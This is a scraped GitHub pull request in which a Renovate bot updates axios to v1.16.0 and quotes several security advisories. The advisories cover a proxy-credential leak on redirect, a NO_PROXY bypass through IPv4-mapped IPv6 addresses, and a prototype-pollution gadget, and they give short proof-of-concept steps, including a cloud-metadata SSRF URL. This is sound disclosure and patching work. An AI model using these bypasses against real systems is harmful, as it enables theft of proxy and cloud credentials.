no cleanup is performed when the recomputed redirect request no longer uses a proxy

PoC

The victim sends GET http://<attacker-site>/start
The request goes through a local authenticated corp proxy
The attacker-controlled HTTP endpoint returns 302 Location: https://<attacker-site>/final
The redirected HTTPS request no longer uses a proxy
The attacker-controlled HTTPS endpoint receives the stale Proxy-Authorization header

Observed output:

[corp-proxy] Proxy-Authorization received: Basic dXNlcjpwYXNz
[attacker-http] GET /start
[attacker-https] GET /final
[attacker-https] Proxy-Authorization received: Basic dXNlcjpwYXNz
Leak reproduced: Proxy-Authorization was sent to the attacker HTTPS origin.

This demonstrates that the proxy credential is exposed to the redirect target origin.

Impact

Exposes authenticated proxy credentials to an attacker-controlled origin.

Severity

CVSS Score: 7.5 / 10 (High)
Vector String: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N

References

This data is provided by the GitHub Advisory Database (CC-BY 4.0).

axios's shouldBypassProxy does not recognize IPv4-mapped IPv6 addresses, allowing NO_PROXY bypass (incomplete fix for CVE-2025-62718)

CVE-2026-44492 / GHSA-pjwm-pj3p-43mv

More information

Details

Summary

shouldBypassProxy, introduced in v1.15.0 to fix CVE-2025-62718, does not normalise IPv4-mapped IPv6 addresses. When NO_PROXY lists an IPv4 address such as 127.0.0.1 or 169.254.169.254, a request URL using the IPv4-mapped IPv6 form (::ffff:7f00:1, ::ffff:a9fe:a9fe) still routes through the configured proxy. Node.js resolves these addresses to the underlying IPv4 host, so the request reaches the internal service via the proxy rather than being blocked.

Details

lib/helpers/shouldBypassProxy.js (v1.15.0):

  const LOOPBACK_ADDRESSES = new Set(['localhost', '127.0.0.1', '::1']);                                                                                                      
  const isLoopback = (host) => LOOPBACK_ADDRESSES.has(host);                                                                                                                    
                                                                                                                                                                                
  // normalizeNoProxyHost strips brackets and trailing dots, but not ::ffff: prefix                                                                                             
  return hostname === entryHost || (isLoopback(hostname) && isLoopback(entryHost));

The WHATWG URL parser canonicalises http://[::ffff:127.0.0.1]/ to hostname [::ffff:7f00:1]. After bracket-stripping: ::ffff:7f00:1. This string does not match 127.0.0.1 in NO_PROXY and is not in LOOPBACK_ADDRESSES, so shouldBypassProxy returns false and the proxy is used. proxy-from-env (called before shouldBypassProxy) has the same gap - it does not equate ::ffff:7f00:1 with 127.0.0.1 - so neither layer catches the bypass.

PoC

// NO_PROXY=127.0.0.1,localhost,::1  HTTP_PROXY=http://attacker:8080
import shouldBypassProxy from 'axios/lib/helpers/shouldBypassProxy.js';                                                                                                       
                                                                                                                                                                              
// All three should return true (bypass proxy). Only the first two do.                                                                                                        
console.log(shouldBypassProxy('http://127.0.0.1/'));          // true  [OK]                                                                                                     
console.log(shouldBypassProxy('http://[::1]/'));               // true  [OK]                                                                                                     
console.log(shouldBypassProxy('http://[::ffff:127.0.0.1]/')); // false <- bypass                                                                                             
console.log(shouldBypassProxy('http://[::ffff:7f00:1]/'));     // false <- bypass

Node.js routes ::ffff:7f00:1 to 127.0.0.1:

// net.connect({ host: '::ffff:7f00:1', port: 80 }) reaches a service                                                                                                       
// bound to 127.0.0.1:80 — confirmed on Node.js v24, Linux and macOS.

Cloud metadata SSRF: ::ffff:a9fe:a9fe = ::ffff:169.254.169.254. If NO_PROXY=169.254.169.254 is set to block IMDS access, a request to http://[::ffff:a9fe:a9fe]/latest/meta-data/ bypasses it.

Fix

Canonicalise IPv4-mapped IPv6 in normalizeNoProxyHost before any comparison:

const ipv4MappedDotted = /^::ffff:(\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3})$/i;                                                                                                    
const ipv4MappedHex    = /^::ffff:([0-9a-f]{1,4}):([0-9a-f]{1,4})$/i;                                                                                                         
                                                                                                                                                                             
function hexToIPv4(a, b) {                                                                                                                                                    
 const hi = parseInt(a, 16), lo = parseInt(b, 16);                                                                                                                           
 return `${hi >> 8}.${hi & 0xff}.${lo >> 8}.${lo & 0xff}`;                                                                                                                   
}                                                                                                                                                                             
                                                                                                                                                                             
const normalizeNoProxyHost = (hostname) => {                                                                                                                                  
 if (!hostname) return hostname;                                                                                                                                           
 if (hostname[0] === '[' && hostname.at(-1) === ']')
   hostname = hostname.slice(1, -1);                                                                                                                                         
 hostname = hostname.replace(/\.+$/, '').toLowerCase();
                                                                                                                                                                             
 let m;                                                                                                                                                                    
 if ((m = hostname.match(ipv4MappedDotted))) return m[1];                                                                                                                    
 if ((m = hostname.match(ipv4MappedHex)))    return hexToIPv4(m[1], m[2]);                                                                                                   
 return hostname;                                                                                                                                                            
};

Impact

Any application that sets NO_PROXY to exclude internal or metadata endpoints and uses an HTTP/HTTPS proxy can have those exclusions bypassed by a URL using IPv4-mapped IPv6 notation. The attacker must control the request URL. In cloud environments with instance metadata services, this can lead to credential exfiltration.

Severity

CVSS Score: 8.6 / 10 (High)
Vector String: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N

References

This data is provided by the GitHub Advisory Database (CC-BY 4.0).

axios Vulnerable to Full Man-in-the-Middle via Prototype Pollution Gadget in `config.proxy`

CVE-2026-44494 / GHSA-35jp-ww65-95wh

More information

Details

Vulnerability Disclosure: Full Man-in-the-Middle via Prototype Pollution Gadget in `config.proxy`

Summary

The Axios library is vulnerable to a Prototype Pollution "Gadget" attack that allows any Object.prototype pollution in the application's dependency tree to be escalated into a full Man-in-the-Middle (MITM) attack — intercepting, reading, and modifying all HTTP traffic including authentication credentials.

The HTTP adapter at lib/adapters/http.js:670 read

✂ Note

PR body was truncated to here.

Update dependency axios to v1.16.0 [SECURITY]

df1903b

renovate Bot requested review from buberdds and lubej as code owners May 29, 2026 16:02

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Update dependency axios to v1.16.0 [SECURITY]#2448

Update dependency axios to v1.16.0 [SECURITY]#2448
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Axios has a Patch Bypass: Proxy-Authorization Header Injection via Prototype Pollution — Incomplete Null-Prototype Fix

Details

[Patch Bypass] Proxy-Authorization Header Injection via Prototype Pollution — Incomplete Null-Prototype Fix in Axios 1.15.2

Summary

CWE

CVSS 3.1

Why This Is Lower Severity Than GHSA-q8qp-cvcw-x6jj (7.4 High)

This Is a Patch Bypass

Root Cause Analysis

Step 1: utils.merge() creates plain {} for nested objects

Step 2: setProxy() reads proxy properties without hasOwnProperty

Complete Attack Chain

Proof of Concept

Reproduction Environment

Reproduction Steps

Verified PoC Output

Confirming the Bypass Mechanism

Fix 2: Use null-prototype objects in utils.merge()

Fix 3 (Comprehensive): Apply null-prototype to all objects created by getMergedValue()

References

Severity

References

Allocation of Resources Without Limits or Throttling in Axios

Details

Summary

Impact

Affected Functionality

Technical Details

Proof of Concept of Attack

Workarounds

Summary

Details

PoC

Impact

Severity

References

Axios: Regular Expression Denial of Service (ReDoS) via Cookie Name Injection

Details

Summary

Impact

Affected Functionality

Technical Details

Proof of Concept of Attack

Workarounds

Regular Expression Denial of Service (ReDoS) via Cookie Name Injection

1. Title

2. Affected Software and Version

3. Vulnerability Type / CWE

4. CVSS 3.1 Score

5. Description

6. Root Cause Analysis

7. Proof of Concept

8. PoC Output

9. Impact

10. Remediation / Suggested Fix

11. References

Severity

References

Axios: Proxy-Authorization Credential Leak to Origin Server Across HTTP-to-HTTPS Redirect in Axios Node.js HTTP Adapter

Details

Summary

Impact

Affected Functionality

Technical Details

Proof of Concept of Attack

Workarounds

Summary

Details

Root Cause Analysis

Client Conditions

Reproduction Outline

Observed behavior

Expected behavior

Impact

Severity

References

Axios: Proxy-Authorization header leaks to redirect target when proxy is re-evaluated to direct connection

renovate Bot commented May 29, 2026 •

edited

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Step 1: `utils.merge()` creates plain `{}` for nested objects

Step 2: `setProxy()` reads proxy properties without `hasOwnProperty`

Fix 2: Use null-prototype objects in `utils.merge()`

Fix 3 (Comprehensive): Apply null-prototype to all objects created by `getMergedValue()`

axios Vulnerable to Full Man-in-the-Middle via Prototype Pollution Gadget in `config.proxy`

Vulnerability Disclosure: Full Man-in-the-Middle via Prototype Pollution Gadget in `config.proxy`